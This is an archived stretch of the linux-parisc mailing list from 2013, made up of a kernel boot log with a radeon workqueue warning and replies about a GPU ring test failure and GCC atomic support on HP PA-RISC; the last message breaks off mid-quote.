pci 0000:e0:01.1: reg 0x18: [mem 0xfffffffff4020000-0xfffffffff403ffff pref]
pci 0000:e0:02.0: [1002:5159] type 00 class 0x030000
pci 0000:e0:02.0: reg 0x10: [mem 0xfffffffff0000000-0xfffffffff3ffffff pref]
pci 0000:e0:02.0: reg 0x14: [io  0x6e000-0x6e0ff]
pci 0000:e0:02.0: reg 0x18: [mem 0xfffffffff4040000-0xfffffffff404ffff]
pci 0000:e0:02.0: reg 0x30: [mem 0xfffffffff4000000-0xfffffffff401ffff pref]
pci 0000:e0:02.0: supports D1 D2
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
vgaarb: device added: PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:e0:02.0
NET: Registered protocol family 2
TCP established hash table entries: 65536 (order: 8, 1048576 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 65536 bind 65536)
TCP: reno registered
UDP hash table entries: 4096 (order: 5, 131072 bytes)
UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
PCI: CLS 64 bytes
Trying to unpack rootfs image as initramfs...
Freeing initrd memory: 10400K (000000007e1c6000 - 000000007ebee000)
Performance monitoring counters enabled for Storm Peak Slow
msgmni has been set to 16082
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 73) is a 16550A
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 73) is a 16550A
console [ttyS1] enabled, bootconsole disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 73) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 73) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mousedev: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
hidraw: raw HID events driver (C) Jiri Kosina
TCP: cubic registered
rtc-generic rtc-generic: setting system clock to 2013-08-31 16:09:46 UTC (1377965386)
Freeing unused kernel memory: 256K (0000000040790000 - 00000000407d0000)
udevd[890]: starting version 175
pps_core: LinuxPPS API ver. 1 registered
pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
SCSI subsystem initialized
PTP clock support registered
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
tg3.c:v3.132 (May 21, 2013)
libata version 3.00 loaded.
usbcore: registered new device driver usb
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
pata_cmd64x 0000:00:02.0: Secondary port is disabled
ehci-pci: EHCI PCI platform driver
scsi0 : pata_cmd64x
scsi1 : pata_cmd64x
ata1: PATA max UDMA/100 cmd 0xd18 ctl 0xd24 bmdma 0xd00 irq 69
ata2: DUMMY
pata_cmd64x: active 10 recovery 10 setup 3.
pata_cmd64x: active 10 recovery 10 setup 3.
ehci-pci 0000:00:01.2: EHCI Host Controller
ehci-pci 0000:00:01.2: new USB bus registered, assigned bus number 1
ehci-pci 0000:00:01.2: irq 68, io mem 0xffffffff80000000
ehci-pci 0000:00:01.2: USB 2.0 started, EHCI 0.95
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: EHCI Host Controller
usb usb1: Manufacturer: Linux 3.11.0-rc7+ ehci_hcd
usb usb1: SerialNumber: 0000:00:01.2
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 5 ports detected
ata1.00: ATAPI: DW-224E, C.0B, max UDMA/33
pata_cmd64x: active 3 recovery 1 setup 1.
ata1.00: configured for UDMA/33
scsi 0:0:0:0: CD-ROM            TEAC     DW-224E          C.0B PQ: 0 ANSI: 5
usb 1-2: new high-speed USB device number 2 using ehci-pci
sr0: scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray
cdrom: Uniform CD-ROM driver Revision: 3.20
sr 0:0:0:0: Attached scsi CD-ROM sr0
usb 1-2: New USB device found, idVendor=1058, idProduct=0748
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=5
usb 1-2: Product: My Passport 0748
usb 1-2: Manufacturer: Western Digital
usb 1-2: SerialNumber: 575836314542325A33383231
sr 0:0:0:0: Attached scsi generic sg0 type 5
usb-storage 1-2:1.0: USB Mass Storage device detected
scsi2 : usb-storage 1-2:1.0
usbcore: registered new interface driver usb-storage
tg3 0000:20:02.0 eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
tg3 0000:20:02.0 eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1], EEE[0])
tg3 0000:20:02.0 eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
tg3 0000:20:02.0 eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 70
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi3 : sym-2.2.3
scsi 2:0:0:0: Direct-Access     WD       My Passport 0748 1022 PQ: 0 ANSI: 6
scsi 2:0:0:0: Attached scsi generic sg1 type 0
sd 2:0:0:0: [sda] Spinning up disk...
scsi 3:0:0:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0 ANSI: 2
scsi target3:0:0: tagged command queuing enabled, command queue depth 16.
scsi target3:0:0: Beginning Domain Validation
scsi target3:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target3:0:0: Ending Domain Validation
sd 3:0:0:0: Attached scsi generic sg2 type 0
sd 3:0:0:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 3:0:0:0: [sdb] Write Protect is off
sd 3:0:0:0: [sdb] Mode Sense: ab 00 10 08
....ready
sd 2:0:0:0: [sda] 3906963456 512-byte logical blocks: (2.00 TB/1.81 TiB)
sd 2:0:0:0: [sda] Write Protect is off
sd 2:0:0:0: [sda] Mode Sense: 47 00 10 08
sd 2:0:0:0: [sda] No Caching mode page present
sd 2:0:0:0: [sda] Assuming drive cache: write through
sd 2:0:0:0: [sda] No Caching mode page present
sd 2:0:0:0: [sda] Assuming drive cache: write through
 sda: sda1 sda2
sd 2:0:0:0: [sda] No Caching mode page present
sd 2:0:0:0: [sda] Assuming drive cache: write through
sd 2:0:0:0: [sda] Attached SCSI disk
sd 3:0:0:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
 sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 sdb7 >
sd 3:0:0:0: [sdb] Attached SCSI disk
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 71
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi4 : sym-2.2.3
scsi 4:0:2:0: Direct-Access     SEAGATE  ST3300007LC      0005 PQ: 0 ANSI: 3
scsi target4:0:2: tagged command queuing enabled, command queue depth 16.
scsi target4:0:2: Beginning Domain Validation
scsi target4:0:2: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target4:0:2: Ending Domain Validation
sd 4:0:2:0: Attached scsi generic sg3 type 0
sd 4:0:2:0: [sdc] 585937500 512-byte logical blocks: (300 GB/279 GiB)
sd 4:0:2:0: [sdc] Write Protect is off
sd 4:0:2:0: [sdc] Mode Sense: ab 00 10 08
sd 4:0:2:0: [sdc] Write cache: disabled, read cache: enabled, supports DPO and FUA
 sdc: sdc1 sdc2 sdc3 sdc4 < sdc5 sdc6 sdc7 >
sd 4:0:2:0: [sdc] Attached SCSI disk
device-mapper: ioctl: 4.25.0-ioctl (2013-06-26) initialised: dm-devel@redhat.com
raid6: int64x1    796 MB/s
raid6: int64x2    994 MB/s
raid6: int64x4   1071 MB/s
raid6: int64x8   1016 MB/s
raid6: using algorithm int64x4 (1071 MB/s)
raid6: using intx1 recovery algorithm
xor: measuring software checksum speed
   8regs     :  3745.200 MB/sec
   8regs_prefetch:  2818.800 MB/sec
   32regs    :  3263.200 MB/sec
   32regs_prefetch:  2842.400 MB/sec
xor: using function: 8regs (3745.200 MB/sec)
bio: create slab <bio-1> at 1
Btrfs loaded
SGI XFS with ACLs, security attributes, realtime, large block/inode numbers, no debug enabled
XFS (sdc5): Mounting Filesystem
XFS (sdc5): Ending clean mount
udevd[1167]: starting version 175
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci-pci: OHCI PCI platform driver
ohci-pci 0000:00:01.0: OHCI PCI host controller
ohci-pci 0000:00:01.0: new USB bus registered, assigned bus number 2
ohci-pci 0000:00:01.0: irq 66, io mem 0xffffffff80002000
[drm] Initialized drm 1.1.0 20060810
usb usb2: New USB device found, idVendor=1d6b, idProduct=0001
usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb2: Product: OHCI PCI host controller
usb usb2: Manufacturer: Linux 3.11.0-rc7+ ohci_hcd
usb usb2: SerialNumber: 0000:00:01.0
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 3 ports detected
ohci-pci 0000:00:01.1: OHCI PCI host controller
ohci-pci 0000:00:01.1: new USB bus registered, assigned bus number 3
ohci-pci 0000:00:01.1: irq 67, io mem 0xffffffff80001000
[drm] radeon kernel modesetting enabled.
radeon 0000:e0:02.0: enabling SERR and PARITY (0187 -> 01c7)
[drm] initializing kernel modesetting (RV100 0x1002:0x5159 0x103C:0x1292).
[drm] register mmio base: 0xF4040000
[drm] register mmio size: 65536
[drm] GPU not posted. posting now...
radeon 0000:e0:02.0: VRAM: 64M 0xFFFFFFFFF0000000 - 0xFFFFFFFFF3FFFFFF (8M used)
radeon 0000:e0:02.0: GTT: 512M 0xFFFFFFFFD0000000 - 0xFFFFFFFFEFFFFFFF
[drm] Detected VRAM RAM=64M, BAR=64M
[drm] RAM width 64bits DDR
[TTM] Zone  kernel: Available graphics memory: 4117164 kiB
[TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[TTM] Initializing pool allocator
[drm] radeon: 8M of VRAM memory ready
[drm] radeon: 512M of GTT memory ready.
[drm] GART: num cpu pages 131072, num gpu pages 131072
[drm] PCI GART of 512M enabled (table at 0x0000000042380000).
radeon 0000:e0:02.0: WB disabled
radeon 0000:e0:02.0: fence driver on ring 0 use gpu addr 0xffffffffd0000000 and cpu addr 0x000000007c712000
[drm] Supports vblank timestamp caching Rev 1 (10.10.2010).
[drm] Driver supports precise vblank timestamp query.
------------[ cut here ]------------
WARNING: at kernel/workqueue.c:1378
Modules linked in: radeon(+) cfbfillrect cfbimgblt cfbcopyarea i2c_algo_bit drm_kms_helper ttm drm i2c_core ohci_pci(+) ohci_hcd backlight xfs exportfs btrfs xor lzo_compress zlib_deflate raid6_pq crc32c libcrc32c dm_mod zalon7xx lasi700 53c700 hilkbd sd_mod crc_t10dif usb_storage sg sr_mod cdrom ehci_pci pata_cmd64x ehci_hcd sym53c8xx tg3 usbcore libata scsi_transport_spi ptp usb_common pps_core scsi_mod
CPU: 3 PID: 1218 Comm: modprobe Not tainted 3.11.0-rc7+ #1
task: 000000007f619038 ti: 000000007c51c000 task.ti: 000000007c51c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  000000000804000e 000000007c51d2b0 000000004015ec88 000000007c51d2b0
r04-07  0000000040768840 0000000042560d00 000000007c455f20 000000007c455f28
r08-11  000000007c51d350 000000007fc40600 0000000000000020 0000000000000020
r12-15  0000000000000003 0000000000000001 000000004078c040 000000007c51c288
r16-19  0000000000000050 0000000000000000 000000007c51c410 0000000000000000
usb usb3: New USB device found, idVendor=1d6b, idProduct=0001
usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb3: Product: OHCI PCI host controller
usb usb3: Manufacturer: Linux 3.11.0-rc7+ ohci_hcd
usb usb3: SerialNumber: 0000:00:01.1
hub 3-0:1.0: USB hub found
hub 3-0:1.0: 2 ports detected
r20-23  0000000000000000 4000000000000000 c800000000000000 f900000000000000
r24-27  000000007c455f20 000000007c455f20 000000004255d600 0000000040768840
r28-31  0000000000000001 000000007c51d350 000000007c51d380 0000000000000000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000113000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004015ee5c 000000004015ee60
 IIR: 03ffe01f    ISR: 0000000010240000  IOR: 000000095755d600
 CPU:        3   CR30: 000000007c51c000 CR31: ffffffffffffffff
 ORIG_R28: 0000000000000001
 IAOQ[0]: __queue_work+0x2dc/0x360
 IAOQ[1]: __queue_work+0x2e0/0x360
 RP(r2): __queue_work+0x108/0x360
Backtrace:
 [<000000004015ef64>] queue_work_on+0x84/0xa8
 [<000000001df55dfc>] r100_irq_process+0x2ec/0x5d8 [radeon]
 [<000000001df48cc4>] radeon_driver_irq_preinstall_kms+0x16c/0x1a0 [radeon]
 [<000000001ce8d024>] drm_irq_install+0x11c/0x3c0 [drm]
 [<000000001df48f8c>] radeon_irq_kms_init+0x8c/0x168 [radeon]
 [<000000001df5aeac>] r100_startup+0x22c/0x3c8 [radeon]
 [<000000001df5b880>] r100_init+0x348/0x5c0 [radeon]
 [<000000001defbff4>] radeon_device_init+0x79c/0x9d0 [radeon]
 [<000000001deff588>] radeon_driver_load_kms+0xb8/0x1a8 [radeon]
 [<000000001ce9682c>] drm_get_pci_dev+0x28c/0x390 [drm]
 [<000000001def96e4>] radeon_pci_probe+0xcc/0x120 [radeon]
 [<000000004035fd24>] pci_device_probe+0xc4/0xf8
 [<00000000403d0f88>] really_probe+0xd0/0x328
 [<00000000403d1398>] __driver_attach+0x100/0x108
 [<00000000403ce240>] bus_for_each_dev+0xa0/0x100
 [<00000000403d087c>] driver_attach+0x34/0x48

---[ end trace e80e0a4cc6460a7f ]---
[drm] radeon: irq initialized.
[drm] Loading R100 Microcode
[drm] radeon: ring at 0xFFFFFFFFD0001000
[drm:r100_ring_test] *ERROR* radeon: ring test failed (scratch(0x15E4)=0xCAFEDEAD)
[drm:r100_cp_init] *ERROR* radeon: cp isn't working (-22).
radeon 0000:e0:02.0: failed initializing CP (-22).
radeon 0000:e0:02.0: Disabling GPU acceleration
[drm] radeon: cp finalized
[drm] No TV DAC info found in BIOS
[drm] Radeon Display Connectors
[drm] Connector 0:
[drm]   VGA-1
[drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
[drm]   Encoders:
[drm]     CRT1: INTERNAL_DAC1
[drm] Connector 1:
[drm]   DVI-I-1
[drm]   HPD1
[drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
[drm]   Encoders:
[drm]     CRT2: INTERNAL_DAC2
[drm]     DFP1: INTERNAL_TMDS1
radeon 0000:e0:02.0: No connectors reported connected with modes
[drm] Cannot find any crtc or sizes - going 1024x768
[drm] fb mappable at 0xFFFFFFFFF0040000
[drm] vram apper at 0xFFFFFFFFF0000000
[drm] size 786432
[drm] fb depth is 8
[drm]    pitch is 1024
Console: switching to colour frame buffer device 128x48
radeon 0000:e0:02.0: fb0: radeondrmfb frame buffer device
radeon 0000:e0:02.0: registered panic notifier
[drm] Initialized radeon 2.34.0 20080528 for 0000:e0:02.0 on minor 0
Adding 7815616k swap on /dev/sdc3.  Priority:-1 extents:1 across:7815616k 
XFS (sdc7): Mounting Filesystem
XFS (sdc7): Ending clean mount
XFS (sdc6): Mounting Filesystem
XFS (sdc6): Ending clean mount
XFS (sda1): Mounting Filesystem
XFS (sda1): Ending clean mount
NET: Registered protocol family 10
IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
tg3 0000:20:02.0 eth0: Link is up at 100 Mbps, full duplex
tg3 0000:20:02.0 eth0: Flow control is on for TX and on for RX
IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Loading iSCSI transport class v2.0-870.
iscsi: registered transport (tcp)
postgres (3599): /proc/3599/oom_adj is deprecated, please use /proc/3599/oom_score_adj instead.

--Apple-Mail-16-230059757--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Sat, 31 Aug 2013 13:41:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377970917 12993 80.91.229.3 (31 Aug 2013 17:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Aug 2013 17:41:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 31 19:41:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VFpBP-0006xr-I9
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Aug 2013 19:41:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755719Ab3HaRl6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Aug 2013 13:41:58 -0400
Original-Received: from blu0-omc4-s25.blu0.hotmail.com ([65.55.111.164]:20129 "EHLO
	blu0-omc4-s25.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755243Ab3HaRl6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Aug 2013 13:41:58 -0400
Original-Received: from BLU0-SMTP99 ([65.55.111.137]) by blu0-omc4-s25.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Aug 2013 10:41:58 -0700
X-TMN: [6tQtCrn0bFiTaQeT+mJF/lpk7PgI2ix3]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP99.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Aug 2013 10:41:56 -0700
In-Reply-To: <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Aug 2013 17:41:56.0701 (UTC) FILETIME=[634080D0:01CEA671]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5288>

On 31-Aug-13, at 1:13 PM, John David Anglin wrote:

> With radeon support enabled, I get a consistent warning at kernel/ 
> workqueue.c:1378.  See attached output
> from dmesg.  Possibly, it has something to do with ring test failure.


Found fix:
http://www.spinics.net/lists/dri-devel/msg44316.html

Ring test still fails.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa atomic support in gcc?
Date: Sun, 1 Sep 2013 14:19:53 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <BLU0-SMTP69B19758B3BB4407E8D2A597370@phx.gbl>
References: <CAE2sS1iGfx7RgreM9VB7mPPDkzg=huhFuAtVSyxPz3xQ_3t_8Q@mail.gmail.com> <5213894D.1020508@bell.net> <CAE2sS1gzxWs-5ab9+L+vHY2n2F-XbXRYO3wWQRwbDjXPVR8TBg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1378059611 24021 80.91.229.3 (1 Sep 2013 18:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Sep 2013 18:20:11 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 01 20:20:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VGCFx-00007v-At
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Sep 2013 20:20:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756165Ab3IASUM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Sep 2013 14:20:12 -0400
Original-Received: from blu0-omc4-s19.blu0.hotmail.com ([65.55.111.158]:10116 "EHLO
	blu0-omc4-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755937Ab3IASUM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Sep 2013 14:20:12 -0400
Original-Received: from BLU0-SMTP69 ([65.55.111.137]) by blu0-omc4-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Sep 2013 11:20:11 -0700
X-TMN: [rMO0rsTjidb4i65ik3dA48TLSuo+HcHK]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP69.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Sep 2013 11:20:10 -0700
In-Reply-To: <CAE2sS1gzxWs-5ab9+L+vHY2n2F-XbXRYO3wWQRwbDjXPVR8TBg@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Sep 2013 18:20:10.0775 (UTC) FILETIME=[E50A2A70:01CEA73F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5289
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5289>

On 21-Aug-13, at 1:57 PM, Carlos O'Donell wrote:

> On Tue, Aug 20, 2013 at 11:20 AM, John David Anglin
> <dave.anglin@bell.net> wrote:
>> Hi Carlos,
>>
>> Yes, it been there for many years but it doesn't use glibc's  
>> atomic.h.  It
>> directly
>> does light-weight system calls into kernel.  The implementation is  
>> very
>> similar to arm.
>> See: libgcc/config/pa/linux-atomic.c.
>>
>> Helge did the initial implementation and I have fixed a few bugs in  
>> it.
>>
>> I changed to using this atomic support in the qt4-x11 package  
>> because the
>> existing
>> ldcw based locking broke the qt4smoke package build.  I need to  
>> submit my
>> patch
>> somewhere.
>
> Awesome. Responded to Guy Martin with this info.


I noticed today that the /usr/bin/dot command was dropping core.  It  
generates several
threads when it runs.

Looking at one of the dumps, it turned out that the exception was in  
g_private_get.  This
involves various atomic operations.  Looking at the glib2.0 atomic  
implementation,
I see it depends on the GCC cpp define  
__GCC_HAVE_SYNC_COMPARE_AND_SWAP_4.
Because of the library implementation, this symbol isn't being  
defined.  So, glib2.0's
atomic support isn't atomic.

I'm looking at a GCC change to define the above.  Maybe this will  
help.  The situation might
be similar for other packages.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: gnidorah@p0n4ik.tk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Mon, 2 Sep 2013 10:43:00 +0400
Lines: 83
Approved: news@gmane.org
Message-ID: <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 6.5 \(1508\))
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378104586 9227 80.91.229.3 (2 Sep 2013 06:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Sep 2013 06:49:46 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 02 08:49:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VGNxM-0008B7-2H
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Sep 2013 08:49:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756785Ab3IBGtr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Sep 2013 02:49:47 -0400
Original-Received: from forward19.mail.yandex.net ([95.108.253.144]:35372 "EHLO
	forward19.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755613Ab3IBGtr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Sep 2013 02:49:47 -0400
X-Greylist: delayed 402 seconds by postgrey-1.27 at vger.kernel.org; Mon, 02 Sep 2013 02:49:46 EDT
Original-Received: from smtp18.mail.yandex.net (smtp18.mail.yandex.net [95.108.252.18])
	by forward19.mail.yandex.net (Yandex) with ESMTP id 8744B1120740;
	Mon,  2 Sep 2013 10:43:01 +0400 (MSK)
Original-Received: from smtp18.mail.yandex.net (localhost [127.0.0.1])
	by smtp18.mail.yandex.net (Yandex) with ESMTP id 4692918A03A5;
	Mon,  2 Sep 2013 10:43:01 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15])
	by smtp18.mail.yandex.net (nwsmtp/Yandex) with ESMTP id mMzeV9djf8-h07msdgP;
	Mon,  2 Sep 2013 10:43:00 +0400
In-Reply-To: <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl>
X-Mailer: Apple Mail (2.1508)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5290>


01.09.2013, =D7 18:48, John David Anglin <dave.anglin@bell.net> =CE=C1=D0=
=C9=D3=C1=CC(=C1):

> I had one boot instance where the initial ring test succeeded:
>=20
> [drm] radeon kernel modesetting enabled.radeon 0000:e0:02.0: enabling=
 SERR and PARITY (0187 -> 01c7)
> [drm] initializing kernel modesetting (RV100 0x1002:0x5159 0x103C:0x1=
292).
> [drm] register mmio base: 0xF4040000
> [drm] register mmio size: 65536
> [drm] GPU not posted. posting now...
> radeon 0000:e0:02.0: VRAM: 64M 0xFFFFFFFFF0000000 - 0xFFFFFFFFF3FFFFF=
=46 (8M used)
